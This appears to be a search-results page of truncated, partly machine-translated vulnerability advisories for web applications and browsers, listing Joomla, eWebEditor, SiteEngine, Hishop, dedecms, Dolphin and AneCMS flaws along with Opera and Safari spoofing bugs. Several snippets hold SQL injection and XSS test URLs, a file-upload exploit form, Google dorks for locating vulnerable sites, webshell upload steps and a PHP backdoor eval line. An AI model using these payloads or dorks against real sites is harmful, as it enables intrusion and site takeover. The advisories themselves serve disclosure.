6588 matches found
joomla component The Estate Agent (com_estateagent) SQL injection and fix-vulnerability warning-the black bar safety net
Title: joomla component comestateagent SQL injection Vulnerability Author: xDarkSton3x [email protected] Test system platforms: linux + windows Developer: http://www.eaimproved.eu/index.php Test: http://www.badguest.cn/index.php?option=comestateagent&Itemid=4 7&act=object&task=showEO&id=sqli...
ewebeditor(PHP) Ver 3.8 arbitrary file upload 0day-vulnerability warning-the black bar safety net
titleeWebeditoR3. 8 for php any file on the EXP/title form action=”" method=post enctype=”multipart/form-data” INPUT TYPE="hidden" name="MAXFILESIZE" value="5 1 2 0 0 0" URL:input type=text name=url value=”http://www.sitedirsec.com/ewebeditor/” size=1 0 0br INPUT TYPE=”hidden” name=”aStyle1 2”...
SiteEngine 7.1 members to upload WEBSHELL vulnerability 0DAY-vulnerability warning-the black bar safety net
Author:hackdn Reprinted indicate the zend encoding and decryption is not complete, do not bother to look at the code, use a Tamper or the like of the plug-in test of the POST parameters, it's$sFile = $oFile'name';filtering too fool, looks like the 5th version after you modify a function. This is ...
Hishop 5.4 & 5.4.1 SQL injection-vulnerability warning-the black bar safety net
Exploit Title: Hishop 5.4 &5.4.1 SQL injection Date: 06-04-2012 Author: Hacker-Fire Vendor orSoftware Link: http://www.hishop.com.cn/bbs/thread-htm-fid-13.html Version: 5.4 & 5.4.1 Category:: webapps Google dork: intext:Hishop 5.4 Tested on: Windows 7 P0c : ? Php printr ' +...
A domain name is a virtual host distribution management system 0day-vulnerability warning-the black bar safety net
google search: inurl:help/notice. asp? nid= Placed directly into the injection tool is injected directly can wait until the DBOWNER Background setinmanager Table name segment does not tell you! You guys are hackers you know. Nerve haha...
KesionCMS section of the news site management system to V7. 0 0day-vulnerability warning-the black bar safety net
Pass to kill KesionCMS v7. 0 version, use conditions must be based on iis7. 0 erection. （A bit tasteless） it!!! The first step: registered users: http://www.. com /? do=reg Second step: access to photo album directly to the point of bulk upload fake good the jpg in a word, do not select a picture...
Dolphin 7.0.7 <= multiple cross site vulnerabilities-vulnerability warning-the black bar safety net
Vulnerability exists in 7. 0. 7 version the following! Test code http://localhost/dolph/explanation.php?explain=%27%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E http://localhost/dolph/viewFriends.php?iUser=1&page=1&perpage=3 2&sort=activity&photosonly='";scriptalert/xss//script...
Opera < 11.62 Multiple Vulnerabilities
The version of Opera installed on the remote Windows host is earlier than 11.62 and is, therefore, potentially affected by multiple vulnerabilities : - The download dialog box can be displayed in a very small window thus, tricking a user into not realizing it is open. Certain keyboard entries aft...
[MajorSecurity-SA-2012-014]Apple Safari on iOS 5.1 - Adressbar spoofing vulnerability
MajorSecurity-SA-2012-014Apple Safari on iOS 5.1 - Adressbar spoofing vulnerability Details ============= Product: Apple Mobile Safari on iOS 5.1 Security-Risk: moderated Remote-Exploit: yes Vendor-URL: http://www.apple.com/ Advisory-Status: published Credits ============= Discovered by: David...
Web page content may overlap the address field – Opera Security Advisories
The browser’s user interface contains several pieces of security information. To preserve this information correctly, web page content should not be able to display over the user interface. Certain styling can cause Opera to allow the content to be displayed outside the page, over the address...
Carefully timed reloads and redirects can spoof the address field – Opera Security Advisories
The address field should always show the address of the page that is being displayed. In certain cases, if a target site responds slowly, reloading an attacking page and redirecting to the target page can cause the address field to show the target site’s address, while the attacking site is still...
A lot of Taobao guest 7. 4 SQL injection bypass vulnerability-vulnerability warning-the black bar safety net
Brief description: See before someone made a lot of this procedure of injecting http://www.wooyun.org/bugs/wooyun-2010-04024 Look at the source code, almost naked injection?: $id =$GET'id'; $good=selsql'dhlist','id,name,pic,money,jifen,num,content,num','id='.$ id; OK, OK!! See online that lot and...
dedecms 5.7 a word the back door using the exp-bug warning-the black bar safety net
author: a dance of the forest tx Twitter: http://t.qq.com/wulinlw Night to see this http://www.wooyun.org/bug.php?action=view&id=5 4 1 6 shopcar.class.php is implanted in the word @evalfilegetcontents'php://input'; Go to the official website under the set back, look at the following code,...
PHP Address Book 6.2.12 multiple security flaws and fixes-vulnerability warning-the black bar safety net
Author: Stefan Schurtz Affected Software: Successfully tested on PHP Address Book 6.2.12 Developer URL: http://sourceforge.net/projects/php-addressbook/ Defect description ========================== PHP Address Book 6.2.12 is containing multiplexssand sql injection issues ================== The...
Apple Safari 'setInterval()' Address Bar Spoofing Vulnerability (Windows)
This host is installed with Apple Safari web browser and is prone to address bar spoofing vulnerability. OpenVAS Vulnerability Test $Id: gbapplesafariaddressbarspoofinvulnwin.nasl 5963 2017-04-18 09:02:14Z teissa $ Apple Safari 'setInterval' Address Bar Spoofing Vulnerability Windows Authors:...
Apple Safari 'setInterval()' Address Bar Spoofing Vulnerability - Windows
Apple Safari web browser is prone to address bar spoofing vulnerability. SPDX-FileCopyrightText: 2012 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...
AneCMS v. 2e2c583 local file containing the defect and repair-vulnerability warning-the black bar safety net
Title: AneCMS v. 2e2c583 LFI exploit Author Author: I2sec-PJH Software development website: https://github.com/AneGroup/AneCMS Affected version: v. 2e2c583 Overview source of index. php page the presence of defects Code analysis is as follows 1. ifisset$GET'p' 2. include './ pages/'.$ GET'p'.'...
Apple Safari 5.1.2 setInterval()地址栏欺骗漏洞
BUGTRAQ ID: 52323 CVE ID: CVE-2011-3844 Safari是苹果计算机的最新作业系统Mac OS X中的浏览器，使用了KDE的KHTML作为浏览器的运算核心。 Apple Safari在处理setInterval函数的实现上存在安全漏洞，远程攻击者可利用此漏洞在地址栏中显示可信站点URL时显示任意内容，进行欺骗攻击。 0 Apple Safari 5.1.2 7534.52.7 For Windows 厂商补丁： Apple ----- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
